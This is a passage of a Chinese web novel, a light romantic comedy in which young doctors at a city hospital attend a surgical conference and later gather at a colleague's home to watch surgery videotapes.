“我又不是小孩,再说了,我们不是躺在一起过吗?”南栀指了指阮乔,又指了指陆随。 箫珵看过来。 “?” 陆随挺直的腰背渐渐弯了。 他朝箫珵笑笑,然后转动身子心虚地看向门外。 箫珵:“你和我妹妹躺在一起?!” 阮乔补充,“睡了好几晚哦,不过我和我妈也在,是炕,你放心吧。” 箫珵:“?!” 还好几晚?! 难怪他们回来就搞什么订婚,都没通知他! 原来! 亏他还以为陆随是正人君子!! 陆随:“这件事……咳。” 陆随放下水杯,“我觉得我还是应该去看看郁薇,你也知道现在ICU的水平,对吧?” 陆随转身就走。 箫珵拔腿追去,“你给我说清楚!!” 两人风风火火地消失。 阮乔感慨道:“要是有两个帅哥为了我打架该多好,我肯定一个都不选,就让他们天天打。” 南栀还在疑惑,“可是我真的……” 阮乔:“好了,床上的事,你不要琢磨,等结婚以后再说。” 南栀反应过来,“你说的不是手术的事?!” 是真的床上? 那她肯定还是知道一些的嘛!她又不是傻子! 箫珵追了一圈,没能追到人,又绕了回来,“忘了和你们说了,周末有外科大会,我和陆随都去,你们去吗?” 这是临川市各个医院组织的外科大会。 如果是国家级的外科大会,那便是全国各地的优秀外科医生都会参加。 临川市组织的级别低了些,不过也只会邀请市内的优秀医生。 南栀想到陆嘉述的叮嘱,明白她为 什么让自己空下周末了。 外科大会也包括儿外。 陆教授真是大好人! 陆随:他并不觉得。 往后两天陆嘉述没来医院。 她连续熬了两晚,身体不适,需要休息。 陆嘉述手中还有其他课题,最近几年她一直在研究小儿颅脑手术,很少再看门诊了。 陆嘉述两天没来,来儿科看诊的病人迅速减少,不过还是比从前多,而且也不都是因为感冒发烧才来的。 南栀又接了一个先天性心脏病的患儿,患儿房间隔缺损。 南栀拿着病历去心外。 患儿的情况比较好,陆随或者箫珵来手术都行。 箫珵不在,陆随刚下一台手术。 南栀羡慕道:“每天都能做手术,真好。” 她只能偷偷买些猪肉练习。 关键是现在猪肉还挺贵的,还“二进宫”,要凭票换。 估摸着再过几年才能自由地吃上猪肉。 前提是有钱才行。 所以南家吃的猪肉上总是有密密麻麻的针孔。 南栀只能说,针孔很整齐,她缝得很漂亮。 郤文曜看了眼南栀,嘀咕道:“怪人,还喜欢做手术。” “刚上手时是这样的,现在只盼望大家都没病,我们也好早点下班。” 陆随从抽屉里拿出录像带,“整理好了,你拿去看。” 南栀先瞟了一眼陆随的手,表扬道:“外科医生的手也好看。” 陆随愣了一下,先弯唇,接着又咳了两声,然后偷偷缩回手。 南栀翻来覆去地看带子,“这要用什么看?” 陆随:“……” “你家有什么?” 南栀想了好半天,说:“一个黑白电视,一个收音机。” 黑白电视是黄夏兰送过来的,收音机是她给南明杰买的。 陆随:“……” 怎么说呢,他虽然经历了身体上的磨难,但物质丰富啊! 陆随说:“有时间来我家看。” 其余人起哄,“哎哟,这就要往家里领了。” “真看录像吗?假的吗?” “嘿,也有可能是真的。” 往幼儿园开的车越来越歪。 几个医生笑得挺开心,陆随和南栀一点儿反应都没有。 陆随:“看录像还能有假?” 南栀:“这有什么好笑的。” 现在又没那么多先进设备,能有录像看就不错了。 医生们:“……” 一次失败的打趣。 南栀和陆随约好时间,南栀正要把房间隔缺损的病历拿给陆随,箫珵走了进来。 他看到陆随,气压很低,看到南栀后,又笑起来,“有事?” 郤文曜说:“她要去陆随家看录像。” 箫珵:“?!” 陆随用病历本子挡住自己。 怎么说呢,虽然他和箫珵不对付,但和人家妹妹这些事,确实有点儿心虚。 箫珵板着脸走过来,看到南栀手中的病历。 “找他不找我?” 南栀赶紧把病历递过去,“你来也行。” 其他医生看得目瞪口呆。 “老萧,人家都订婚了,你还要抢啊?不合适吧?” “这放以前都得给你治个流氓罪。” “就是就是。” 箫珵粗鲁道:“你们别管。” 陆随轻咳一声,躲到南栀身后,“这个手术……” 箫珵:“你也闭嘴!” 看见陆随就火大! 陆随:“……” “收入院了?手术我来做,”箫珵道,“你和他保持距离!” 陆随拧眉,“你管得是不是太多了?” 箫珵冷笑,“你们还没结婚,你就敢和她……她不懂你也不懂?” 刚硬气起来的陆随又被水浇灭了。 他早就说男男女女的睡一起不合适!! 就算是炕也不行啊! 陆随:“您请。” * 外科大会定在周日的上午九点钟。 临川市能在外闯荡的优秀医生其实不算多,来开会的都是在市内拔高的。 不过这次开会不一样,陆嘉述教授也会来。 于是小儿外科成了本次外科大会的重头戏。 陆随说好顺路去接南栀。 早上七点钟,南栀便被黄春兰叫醒,黄春兰为难地看着她,“来接你了。” 南栀迷迷糊糊爬起来,“让他等等,我现在去洗漱。” 黄春兰欲言又止。 南栀洗漱完,随手拿了两个馒头准备路上吃。 出了南家的门才发现胡同里挺热闹。 就连还没痊愈的胡恬美都出来看热闹。 南栀:“?” 不远处的胡同口停着两辆车,一辆大众桑塔纳,一辆吉普。 都是这两年刚出的新款。 两个熟悉的身影面无表情地看着彼此。 一起来接南栀,还都有车,两个小伙子还都挺好看。 恩…… 南栀心里只有一个疑问:只有她穿得这么穷?? 大家同样都在穿,怎么只有她穷啊! 黄春兰纠结道:“哪个啊?” 奶奶躲在后面看热闹,“哪个都行,都挺好看的。” 南明杰:“……,妈,你怎么能这样?” 奶奶:“你别说话,我不想回忆你的长相。” 南明杰:“……” 他年轻时明明也是俊俏小伙子! 邻居们还不知道南栀订婚的事,所以都在猜他们的身份。 南栀慢吞吞走过去,已经过了想炫耀的年纪,现在有点儿尴尬。 “你们怎么都来了?” 陆随说:“我昨天说过会来接你。” 箫珵道:“做哥哥的接妹妹怎么了?” “可是……”南栀说,“这样大家好像会误会?” 箫珵:“误会什么?” “误会你们两个和我有关系?” 陆随微笑,“确实有关系,箫珵,你来不合适。” 箫珵:“……” 他不甘心,“你想找个挡箭牌,怎么不来找我啊,这家伙脾气这么臭,有什么好的?” 陆随拉着南栀往车里走,“你们是兄妹。” “其他人又不知道!” 南栀恍然大悟,“对哦。” 怎么就一点儿都没想到箫珵呢? 箫珵:“……” 更伤心了。 陆随说:“这可不行,不能耽误你的姻缘,赶紧结婚吧。” 箫珵:“你诅咒我?你才该早点结婚!” 陆随看向南栀,“可以吗?” 箫珵:“!!” 气炸了! 考虑到南栀的“声誉”,箫珵退了一步,让南栀上了陆随的车。 箫珵的车不是家里的,是他姑姑买的,买完之后发现一个会开车的都没有,就让箫珵先开着。 两辆车一前一后来到开会地点。 这会儿的会议很朴素,没有大礼堂和大屏幕,只有位置上贴着教授们的名字还像点儿样。 这相当于病例分析会,来自不同医院的外科医生讲解自己的手术经过,给同行做参考。 陆随也要去讲话。 他准备了稿子,还准备 了西装。 只不过现在的西装实在宽大,不像后世那般修身,他不太适应。 南栀羡慕道:“做了一台手术就能被选中典型病例,真幸运。” 箫珵有心给陆随泼冷水,“可惜背后是痛苦的患者。” 陆随:“对,下次咱不给患者动手术就没事了。” 箫珵:“……” 以前教授总说他俩的性格南辕北辙,一个过于理性,一个略有感性,箫珵就是感性的那位。 南栀接着说:“肯定要做手术呀,典型的病例也得分享,这样才能救更多的人。” 箫珵总觉得亲妹妹已经被陆随拐跑了! 每一个病例,南栀都记录得十分清楚,尤其记录在手术过程中用到的设备。 现在的设备实在太简陋,她目前只知道康宁医院使用的是什么,还不知道其他医院藏了什么稍微先进点儿的设备。 如果能知道这些,也可以推荐患者去更合适的医院。 很快轮到陆随上场。 陆随整理好西装走向讲台。 南栀撑着下巴看他,“陆医生其实蛮好看的。” 箫珵露出嫌弃的目光,“小白脸。” 南栀看向箫珵,“哥,你觉得你属于哪个类型?” 箫珵:“当然是铁血硬汉。” 南栀看着面前这张不输陆随的小白脸,对男性有了新的认知。 箫珵紧张道:“你该不会是真对陆随动了心思?” 南栀茫然道:“什么心思?” “就是……”箫珵说不出口,南栀好像不会理解他的话。 南栀说:“陆医生其实挺好的,你别总和他过不去了。” 箫珵也知道陆随人还凑合,他们之间不对付,纯粹是因为……南栀。 以前箫珵只会与陆随保持距离,除了学术上,不会和他发生争执。 现在嘛…… 箫珵一想到陆随围在南栀身边,就有把手术刀用在陆随身上的冲动。 但考虑到他动刀子的速度可能不如陆随,容易被反杀,遂作罢。 箫珵道:“知道了,我以后见了他客气点儿。” 总归都是一个科室的同事,将来免不了协作。 南栀笑眯眯道:“这就对了嘛,陆医生人真的很好,还帮我修录像带,明天晚上我要去他家看录像呢。” 箫珵:“?!” 拳头又硬了。 陆随很快分享完郁薇的病例。 郁薇目前还在ICU恢复中,费用高昂。 手术后续容易出现并发症,现在还不能掉以轻心。 不过陆随做的手术的确十分漂亮,有目共睹。 陆随最后呼吁医院手术室能普及录像设备,录制手术过程,让更多的同僚能从中学习。 箫珵凉凉道:“这是你的愿望吧?” 也就南栀天天嚷嚷着想做手术。 他们这种真的在做手术的,只会看着手术刀头疼。 箫珵很郁闷。 陆随真对南栀有意思? 还是南栀真对陆随感兴趣? 不管是哪一种都难以接受! 会议进程过半,陆嘉述才姗姗来迟。 陆嘉述的车刚停在楼下,就有很多坐在第一排的医院领导去迎接。 这种会议,只有前两排有姓名,像南栀这种,只能是随便听听,陆随的座位都没有名字。 一堆领导下楼迎接的场面还是很壮观的,南栀有点儿想念阮乔,她今天要陪杨芬复查,没法过来。 如果阮乔在,肯定能和她一起看热闹。 为了表示对陆嘉述的敬重,所有人都起立等待。 十分钟后,在十几名领导的簇拥下,陆嘉述走进会议室。 她的脸色很不好。 年轻医生们神色更加庄重,就怕陆教授会不开心。 陆嘉述扫了会议室一圈,看到南栀。 南栀笑眯眯地挥手。 领导们脸色微变。 哪家医院的医生,也太不听话了,还敢和陆教授招手? 陆教授出了名的脾气暴躁,他们在这好好供着,那边就开始挥上手了。 恩德医院的蒋院长低声问道:“那是谁,也是外科医生?” 祁念珍也在十几个领导之内,她淡定地跟在最后。 汤兴生也是康宁医院的副院长之一,韦初雪就是跟着他干活。 他和蒋院长的关系不错,看到南栀后脸色明显变了。 汤兴生不认识南栀,但他认识箫珵和陆随,这俩人都是医院的香饽饽。 那跟在两人身边的显然也是他们医院的人。 汤兴生看向祁念珍,祁念珍若无其事地移开目光。 汤兴生:“……” 他只好说:“年轻人看到前辈,情绪难以控制,很正常,你我年轻时如果能见到陆教授,恐怕比她还激动。” 蒋院长蹙眉道:“激动归激动,但是大家都知道陆教授脾气古怪,她……” 陆嘉述朝南栀走去。 蒋院长:“……她该不会是生气了吗?” 汤兴生强装镇定,“应该是去找陆随。” “对对对,陆随是她孙子。” 两位领导试图给失控的场面找补。 祁念珍慢悠悠走在最后。 汤兴生停下来等她,“祁院长,那位是咱们医院的?” “哦,”祁念珍说,“儿科的南栀。” 汤兴生当然也没说过,他不负责儿科。 “儿科是你负责,你叫她来时没提醒她吗?陆教授有才华,有才华的人往往都……你应该让她安静点儿。” 祁念珍说:“不是我叫她来的。” 汤兴生:“?” 祁念珍道:“要不你回去再打听打听,看看是谁叫来的?反正不是我。” 汤兴生:“……” 祁念珍和汤兴生做了一辈子的同学、同事,两人连升职的速度都是一样的。 他们是当了一辈子死对头。 汤兴生头疼道:“做事不要任性,这孩子如果没人叫,她能知道有大会?还和陆随、箫珵一起过来,等等,他们为什么会一起?” 祁念珍笑而不语。 陆嘉述已经走到南栀面前。 领导们担心出状况,都在争着把陆嘉述往座位上引,“陆教授,您往这边来,我们都给您备好了,接下来的环节缺您不行。” 同时在心里痛骂南栀。 倒不是领导对下属的痛骂,而是疯狂地吐槽——哪来的小朋友非要惹陆嘉述!!知道陆嘉述是什么人吗?她可是敢给市长脸色看,市长还不敢说什么的人物!! 人家功成名就的泰斗都讲究一个平易近人、两袖清风。 他们陆教授是一枝独秀,与众不同。 陆嘉述板着脸看着南栀。 南栀问:“您怎么了?” 领导们的脸色一黑又一黑。 多嘴! 陆嘉述深吸一口气,说:“你瞧瞧,说了不要下楼,非要下去,说什么迎接我,用得着这么大的阵仗迎接我吗?搞得我像是在欺压他们!这屋里的人也都得站着,站着干嘛?搞得我好像很不好相处!” 领导们一懵又一懵。 懵逼之余,他们还不忘在心中质疑——陆教授难道不是真不好相处吗?! 南栀安慰道:“大家都是尊敬您,您如果不喜欢,下次再说一声,他们肯定能记住。” 陆嘉述叹气,“还能怎么样?来都来了。” 领导们开始疯狂暴汗,一动都不敢动。 谁能说说这是什么情况?! 陆教授不是来找孙子的吗? 好像听到他们的心声,陆嘉述又顺便和陆随打了个招呼,“你今天早上喝的是我订的牛奶。” 陆随:“?” 领导们:“?” 陆嘉述愤愤不平,“都说了你订的羊奶不好喝,非要订,现在不爱喝了,就喝我订的牛奶!过分!” 陆随:“……” 领导们:“……” 南栀说:“是好过分哦。” 他们陆家又不缺钱,干嘛不订又要喝人家的。 陆随低声道:“我可能没分清,这件事咱回家再说。” 陆嘉述又瞪了他一眼,“这是很严肃的事!” 南栀也看着陆随。 陆随叹气,老老实实道歉,“以后不会了。” 陆嘉述这才“哼”了一声,朝前排走去。 领导们集体在风中凌乱。 都说陆嘉述脾气古怪,但他们上次接触陆嘉述,得是十多年前的事,已经很久没瞻仰过陆教授的风姿。 蒋院长问:“这女医生……你们医院的?” 汤兴生:“……” 他看向祁念珍。 祁念珍摊手,“确实不是我叫来的。” 是陆嘉述叫的嘛! 汤兴生:“……” 心机女人! 会议后半段还算顺利,南栀记录了好几个有价值的病例。 对南栀来说, 这种会议还蛮有趣的,大家为了完成手术,能想出不同的法子。 印象中高大上的手术设备,有时候其实就是生活中普普通通的东西,反正只要确保不感染,手术成功即可。 南栀心情越来越好。 箫珵连连摇头,他妹妹真是天生的牛马命。 再看陆随……算了,箫珵不想看见陆随。 会议快结束,才有几个医生后后门进来。 南栀坐在最后,这几人溜到南栀旁边,坐下后嘀嘀咕咕。 “都和你们说了,这种会议真没用,咱们签个到就行了,也不知道蒋院长怎么想的,非让我们过来。” “路边那家卖凉皮的手艺真不错,下次再来吃。” “拉倒吧,周末我更想在家里躺躺。” 南栀看其中一人挺眼熟。 她盯着看了一会儿,发现其中一人是来康宁医院带走胡鸿方的年轻医生,好像姓朱。 朱贺也看到南栀。 胡鸿方的病例印象太过深刻,他想忘记南栀都不行。 康宁医院在期刊上发表的那篇文章太打脸,霍勉已经被降职,现在都离开恩德医院,跑到乡下了。 朱贺不太敢看南栀,不自在地移开目光。 另外两位医生见状说道:“那边不是康宁的陆随吗?他奶奶今天也来。” “他真是脑子不清醒,背景那么强,竟然跑到康宁医院自毁前程。” “嗐,说不定是靠奶奶爬上去,怕露馅了,才跑小医院待着,宁做鸡头不做凤尾呗。” 朱贺一直没吭声。 陆随瞥了他们一眼,很快收回目光,对他们的议论毫不在意。 箫珵蹙起眉,道:“他们这么说你,你也不生气?” 陆随道:“留在康宁医院是奶奶的愿望,没做过的事为什么生气?” 他没做过,原主也没做过。 箫珵还想说什么,南栀已经先举手了。 主持人走过来,“需要帮助吗?” 南栀指着旁边说道:“他们几个来得晚,还一直聊天,我听不清台上说什么了。” 南栀的声音不大,甚至刻意压低声音,但台上的人恰好沉默,显得南栀的声音格外大。 临川市所有有名气的医院领导都在这里,所有人都看向后排。 恩德医院的几人当场石化。 同时石化的还有蒋院长。 蒋正业盯着南栀看了许久,又看向自家医院那几位。 朱贺:“……” 主持人友好地看向恩德医院的医生,“几位可以小声讨论,不要打扰到其他人。” 南栀说:“对啊,不要再讨论陆医生和陆教授了,背后嚼舌根不好哦。” 蒋正业就站在陆嘉述旁边,两眼一黑。 陆嘉述问:“他们讨论我和小随?” 蒋正业想直接晕倒。 可周围全是医生,装晕都不行!! 蒋正业赔笑道:“我们都说您和陆医生长得太像了,一看就是一家人。” 南栀说:“是吗,明明在说陆医生留在康宁医院是自毁前程……” 会议室内鸦雀无声。 所有人的目光都在陆嘉述和陆随之间游走。 但这二人镇定自若,丝毫没被影响。 于是他们便看向恩德医院嚼舌根的几人。 其实这话很多人都说过。 但贴脸开大的真没有多少。 末了,南栀还要惋惜一句,“陆医生的技术明明很好的,居然还要被泼脏水,唉,我都不敢做医生了。” 箫珵和她一唱一和,“在我们康宁是要被质疑的,要是去他们恩德,那就没关系了。呀,该不会是因为最近陆教授在康宁看诊,你们儿科的霍主任不高兴了吧?” “不会的,”南栀说,“霍主任为了名声把克罗恩病患者接走,强行用药导致患者情况越来越严重,还对家属隐瞒病情,现在已经不在恩德医院了。” 箫珵:“原来如此!” 短短几句话,把上个月的瓜又说了一遍。 其他医院的医生已经开始偷笑了。 以前康宁医院总是不声不响的,被挤兑几句也不会说什么。 今天倒是很有骨气嘛! 恩德某几位医生,他们都不想说! 陆嘉述冷冰冰地看着蒋正业。 原本就脾气古怪的人,眉头一皱,更是骇人。 蒋正业掏出手绢擦拭额头,“陆教授,您别误会,我一定都处理好。” 他看向朱贺几人,狠狠瞪了他们一眼。 平时在医院就算了,居然跑到外面来找事! 陆嘉述说:“既然不愿意来参加会议,就不要强迫他们过来,蒋院长,你说呢?” “是是,我一定好好批评他们。” 偷偷溜走还嚼舌根,都是疯了! 因为这一插曲,不少医生都在留意南栀、陆随和箫珵。 三人拿着笔记本,淡定地记笔记。 换演讲人的间隙,陆随才低声道:“不用和他们解释。” 箫珵道:“我是为了我的朋友解释,人家挺努力的,有真本事。” 南栀说:“他们真的很吵。” 陆随:“……” 是他自作多情了。 陆嘉述最后上台。 她穿着端庄,短发细心梳理好,慢慢走上台。 陆嘉述一出现,现场瞬间安静,所有人都聚精会神地听着。 南栀看着陆嘉述侃侃而谈的模样,越看越羡慕。 有名有利,按照自己的意思活了一辈子,谁都不敢招惹她,绝对是她的偶像! 会议结束,所有人都热情鼓掌。 部分人想起立鼓掌,又想起陆嘉述刚刚说过的话,屁股抬了一半就僵住。 僵住的人数还不少。 临川市的外科大会在这诡异的氛围下结束。 陆嘉述还有事,不和他们一起回去。 陆随说:“先送你回家,我得回医院一趟。” 箫珵道:“我不去医院,我送你好了。” 眼瞅着两人又要争起来,南栀后退一步,试图脱身。 这一等,就等到朱贺几人。 他们刚被蒋正业臭骂一顿,个个垂头丧气。 现在看到南栀,都愤愤不平,“多大的人了,怎么还打小报告?” 陆随和箫珵看向几人,“你说什么?” 箫珵:“谁打小报告?” 朱贺心惊肉跳,“你们还想打架啊?” “不是呀,”南栀友好道,“我确实没打小报告,我明明是当着你们的面举报的,怎么能是打小报告呢?” 朱贺:“……” 除了朱贺和其中一个医生是儿科的,其他几人都是普外或者神经外科的。 恩德医院的医生都知道蒋正业有点儿小心眼,记仇,今天在陆教授面前下不来台,回医院后还不一定怎么折腾他们。 想到这点,他们就有气。 “那你也不能当着院长的面说,咱们有事私下解决!” 南栀无辜道:“我们之间没什么事啊,是你们在背后嚼舌根呀,你们是不是要和陆医生谈谈?” 南栀侧身给他们让出位置,“谈吧。” 陆随朝几人笑笑,“要谈?” 几名医生:“……” 谁敢啊?! 他们底气不足,“我的意思是,你有不满,来找我们就行了。” 南栀:“我找了呀。” “……你明明是找院长告状了。” 南栀说:“没有呀,我是请你们保持安静。而且你们不要颠倒因果关系哦。” 箫珵冷笑道:“如果你们不在背后嚼舌根,会有今天的事吗?” 南栀问:“你们说陆医生是靠奶奶才有今天,又说他在康宁医院没有前途,不觉得自相矛盾?如果靠陆教授,陆医生现在都能去首都医院了。” 箫珵道:“恩德医院的就是没脑子,只会嚼舌根,一点儿逻辑都不用讲。” 南栀:“毕竟嚼舌根比较方便。” 医生们:“……” 兄妹俩说话速度太快,他们一句都插不上。 朱贺觉得不能任由他们侮辱恩德医院,憋了半天才憋出一句话,“……你们的医德也没好到哪去啊。” 南栀:“我们?” 箫珵惊讶道:“我们能比你们还差 ?不会吧,在这方面你们已经做到极致了。” 朱贺说:“你们诬陷患者偷钱,而且是在很多人面前,害得他们没有及时入院治疗,差点儿耽误了。” 南栀奇怪道:“你说的是谁,不会是戴菲菲吧?” 朱贺是儿科医生,戴菲菲带幸起再去恩德医院倒是不奇怪。 朱贺点头,“就是她,她的孩子病得很严重,你们不该诬陷她,只是两块钱而已,难道不是给孩子治病更重要吗?” 箫珵不太了解事情经过,但他知道南栀不可能诬陷戴菲菲。 箫珵道:“偷钱就是偷钱,偷得少就不是偷了?她这么有把握是被诬陷,怎么不报公安?” 陆随笑笑,“现在知道给孩子治病更重要,给胡鸿方治疗时怎么想的,他年纪大了点儿,不算孩子?” 朱贺:“……” “别和他们争了,一群小人而已,”箫珵道,“咱们走,让他们折腾去。” 南栀神色古怪,“你们给幸起看过了?做过检查?他是什么病?” 朱贺终于听到能回答的问题,赶紧说:“他得了甲状腺癌,孩子很可怜,就算真的偷东西,也得先治病。” 南栀说:“你们没误诊吧?” 朱贺愣了一下,气道:“我们怎么会误诊?!” 南栀完全是在为患者考虑。 听到朱贺的话,她奇怪道:“你们误诊也不是一次两次了呀,再误诊一次也没啥奇怪的?” 箫珵:“……” 他骂半天,还不如她妹妹动动嘴脾气气人。 陆随问:“你见过患者?” 南栀点头,“和郁薇一起过来的,颈前有肿块,出生起就便秘。” “一出生就有?”陆随问,“基因有问题?” 南栀:“孩子偷了东西,他俩不承认,没做检查就走了。” 朱贺道:“反正我们恩德医院的水平在这里!不会误诊!” 箫珵讥讽道:“那你可千万别改变治疗方案。” 气话归气话,偷窃归偷窃,还是得考虑幸起的安危。 南栀真心实意道:“你们再回去查一下,发现误诊后最好让他回康宁,陆教授还会再来门诊,能给他最好的治疗。” 很真诚的建议,但是建立在恩德医院误诊的前提下。 几个医生的鼻子差点儿气歪。 南栀不懂他们有什么好生气的,是他们说的要为孩子的病情考虑嘛。 蒋正业和汤兴生正巧路过,“你们又干什么?!” 南栀、陆随、箫珵异口同声道:“他们要报复!” 朱贺:“??” 医生们:“???” 这对吗?! 第54章 第54章有丢啦 周一晚上,实习生们值班。 祁念珍又找来两个住院医,阮乔也从无穷无尽的值班中解放出来。 康宁医院的儿科好像没以前那么缺人了。 既然不缺人…… 陆家,一楼客厅。 陆嘉述奋斗多年,为的就是让一大家子人过上好生活。 早些年陆嘉述就分到一百平的大房子,后来家里人有出去做生意的,也有在政府工作的,生意越做越大,陆家人越来越出息,楼房就变成小别墅。 别墅内平时只有陆嘉述和陆随住。 陆嘉述在地下室有自己的实验室,她每日都留在实验室做实验。 陆随出事,家人轮流回来照顾,现在正巧轮到陆敬玮。 陆敬玮端来饮料到客厅。 现在没有花里胡哨的饮料,陆敬玮自己榨了橙汁,她在国外留学时经常榨橙汁。 反正她这胃也不适应国外的伙食。 陆敬玮催促陆随,“快分饮料,你们不是要看录像吗?等会儿奶奶会过来,不懂的就问她。” 陆随面无表情地抱起胳膊,凉凉地看向沙发上的人。 陆随道:“看录像就看录像……这些人是怎么回事?!” 沙发上,儿科众人笑眯眯地看着他。 阮乔朝他招手,“陆大医生不介意吧?” 盛昭云说:“患者是儿童,我们来看看很正常。” 韦宁雨表示,“我是来拿南栀的笔记的,她的笔记特别受欢迎,我们还得赚钱。” 陆随深吸一口气,“儿科就算了……这又是怎么回事?!” 沙发旁的几把椅子上,坐着心外不值班的医生们。 郤文曜道:“他们都来了,我们不来不妥吧?” 年纪最小的闫民怀举起大旗:“心外儿科是一家!” 陆随:“……” 回头就把这话告诉心内,让他挨揍! 箫珵冷冷道:“怎么,你还想看点儿别的视频?” 陆随:“……” 陆敬玮说:“同事过来坐坐不是很好吗?你以前像个闷葫芦,身边连个朋友都没有,现在这样多好。多亏南栀,不然你连个朋友都没有。” 阮乔和韦宁雨积极道:“陆医生,我们现在都是你的朋友。” 盛昭云补充,“只要你乖乖交出视频。” 陆随有种被绑架威胁的感觉。 箫珵道:“其实他以前也没什么朋友。” 阮乔惊讶,“是吗?南栀说他很受欢迎诶?” “那也不耽误他没朋友打光棍。” 陆随:“……” 再这样下去,祖宗三代都要被翻出来。 陆随认命,去找录像带。 陆嘉述回来后,加入大队伍,一起看视频。 陆敬玮偶尔讲两句。 她们一个老医生,一个专业的麻醉医生,南栀受益良多。 箫珵也记了一堆笔记,阮乔更是感觉打开了新世界的大门。 全心全意做一件事的感觉真好! 陆敬玮还要准备晚饭。 视频重复播放了好几次,南栀不需要看这么多遍,她平时看视频最多两遍就能记牢。 南栀去厨房帮忙。 他们这么一大群人过来,陆敬玮一个人准备太辛苦。 陆随跟着走进厨房,“你去坐着就好,我来。” 陆敬玮瞟了他一眼,“干脆我回去坐着,你俩来。你俩谁会做饭?” 南栀和陆随同时僵住。 南栀嘛,一直是吃食堂的,她甚至没独居过。 至于陆随,也没时间研究怎么做饭,平时糊弄着填饱自己的肚子还行,真要做八菜一汤,他目前还做不到。 陆敬玮叹气,“你俩结婚了,以后不会饿死吧?” 南栀抢先说道:“我不会学做饭哦。” 耽误时间。 陆随:“……,我学。” 陆敬玮絮叨道:“郁薇的手术也录像了,我看了,你们的录像设备不行,太差劲,最好和医院申请,配一套合适的录像设备。不过小随的手速好像比以前快很多,你昏迷时偷偷在梦里练习了?” 陆随:“……” 又是一个他无法回答的问题。 陆随说:“我……去楼上拿东西。” 南栀偷偷看着陆随。 她那天忙着照顾孩子,没留在手术室看陆随做手术,阮乔夸得厉害,她才刚刚看到。 陆随做的手术,绝对是她看过的最干净利索的手术! 精确、快速、没有迟疑,缝得也漂亮。 南栀从前看的视频,其中有不少老教授、主任甚至院长做的手术,虽然说得夸张些,但比陆随强的真没几个。 他才多大年纪? 陆敬玮见状,偷笑了一会儿,然后怂恿南栀,“你去帮帮陆随,我这里不用你帮忙,你嫁进我们家,我要是让你干活了,奶奶肯定生气。” 南栀犹豫道:“好像不太好。” “真没骗你,你别看奶奶平时看起来什么都不在意,其实她一直很着急。” “急什么呀?” 陆敬玮又是长叹,“你也看到了,我们国家的医学发展和国外没法比,有很多技术、设备,国外都在卡我们的喉咙。一些进口药,不懂英文的甚至看不明白说明书。” 有一段时间医院就招会英文的人来,为的就是研究说明书。 陆敬玮说:“富国强民,没有技术,民怎么活?她很少去门诊,其实不是嫌门诊累,就是想趁着还没糊涂多研究研究,其实她去年突然开始忘事,今年已经开始 吃药控制,说不定哪一天就不记事了。” 南栀想到总是嚷着要享福的陆嘉述,有点儿心酸。 “她一直想找个继承人,但怎么说呢,来找她的人,不是水平不够,就是意志力不够。现在你来啦,她很开心,她都和我说了,幼儿园出事时,你还帮着分流,她说你特别冷静,做事很有分寸。” 换作别人夸南栀,南栀一定说:确实,她就是这样的优秀。 但现在夸她的人是陆嘉述,南栀害羞地低下头,心里乐开了花。 陆教授夸她耶! “说句陆随不爱听的,我估计奶奶现在都不把你当成孙媳妇,她可能是怕你结婚生子以后就不能把精力放在工作上了。” 南栀想象到一个画面——陆嘉述半夜惊坐起,想到是自己撮合南栀和陆随,很想抽自己一巴掌。 南栀认真说道:“姑姑,我很喜欢做医生,不会放弃的。” 陆敬玮道:“没事,你去找陆随吧,我看这小子现在对手术也挺上心,你俩年纪还小,不着急。” 南栀擦干净手去楼上。 陆家住别墅,在临川市的经济水平算是上等,但别墅的装潢对南栀这个后世人来说也只能说是普通。 楼梯是黄色木板做的,看起来有些老旧。 南栀看了一眼还在认认真真看视频的医生们才往楼上走。 陆随正在书房找资料。 书房是陆随的,陆嘉述的资料都放在地下室。 南栀敲了敲门,走进去。 陆随道:“我这有几本国外的杂志,已经找人翻译成中文了,你可以拿给他们看看。” 南栀乖乖坐好等陆随,大眼睛扑闪扑闪,死盯着陆随。 陆随捧着一摞杂志走过来,“怎么了?” 南栀笑容满面,“你手术时好帅啊!” 陆随忍俊不禁,“手术时只能看到眼睛。” “眼睛也很帅!”南栀说,“手也好看,手速好快哦!在看不清的情况下,你是怎么找到血管的?太厉害了!” 陆随被夸得快飘起来了,手脚都不知道往哪里放,“我?就是感觉吧。” 南栀说:“真的很厉害!” 陆随努力压下嘴角,“还好还好。” “改天一定要教教我哦。” 陆随欣然答应,“没问题。” 南栀盯着陆随不放。 陆随咳了好几声,嗓子都快捏痛了,脸颊的温度也没下去。 陆随道:“你……不要一直看着我吧?” “为什么,”南栀说,“你很好看诶。” 陆随:“……” 再这样夸下去,他都觉得要出事。 南栀凑近陆随,“你的身体好像真的不是很好,不是心跳快就是脸色不对,哎,你现在心跳也很快,你的心率一直偏高吗?” 陆随:“……你如果离远点儿,可能会好些。” 南栀惊讶,“还有这种病哦?这是什么病?为什么离得远会好?你害怕医生?” 那也不对,陆随自己就是医生。 陆随头痛,“你就没有心跳不正常的时候?” 南栀:“没有诶,为什么会不正常?” “比如你见到……你觉得好看的人?” 南栀更疑惑了,“那就会心跳不正常?不会啊。” 陆随:“……,你干嘛总夸我?” 好歹也得有点儿好感啊! 南栀说:“因为你确实好看啊。” 陆随:“……” 陆随不知是笑还是哭。 敲门声又响起来,箫珵走进来。 正巧南栀试图给陆随听诊,一直往他那边凑。 箫珵:“……,陆随,你在干什么?” 陆随都快躲到地上了。 他无辜地摊手。 是他在干什么吗?? 箫珵板着脸把南栀拉出去。 走廊没人,箫珵问:“你喜欢他?” 南栀疑惑道:“为什么这样问?” 箫珵道:“陆随其实也还凑合,我主要是怕他欺负你,如果你真喜欢他,我也不拦着你。” 南栀摇头。 她从没考虑过这种事。 箫珵知道南栀根本不会往这方面想,便换了个方式问:“你刚刚为什么要给他听诊。” 南栀如实说道:“他心跳快。” “为什么心跳快,你说什么了?” 南栀很无辜,“我说他好看啊。” 箫珵:“……” 这傻丫头,还好遇到的是陆随。 箫珵问:“除了陆随,你还觉得谁好看?” 南栀为难地皱起眉。 箫珵:“……” 果然没有他的名字。 “我明白了,”箫珵无奈道,“我不拦着你,但是如果他欺负你,你一定要告诉我,知道吗?” 南栀点头,很快又摇头。 箫珵:“?” 南栀说:“陆随不会欺负我的。” 箫珵:“……” 愿世间没有情侣。 吃完饭前,南栀几人回到一楼。 闫民怀招呼道:“萧哥,你已经出局啦,别往人家小两口跟前凑了。” 阮乔说:“我们刚刚提到心肺复苏术,南栀,你和我说过的深度和频率,陆教授还想再听听。” 南栀便又说了一遍。 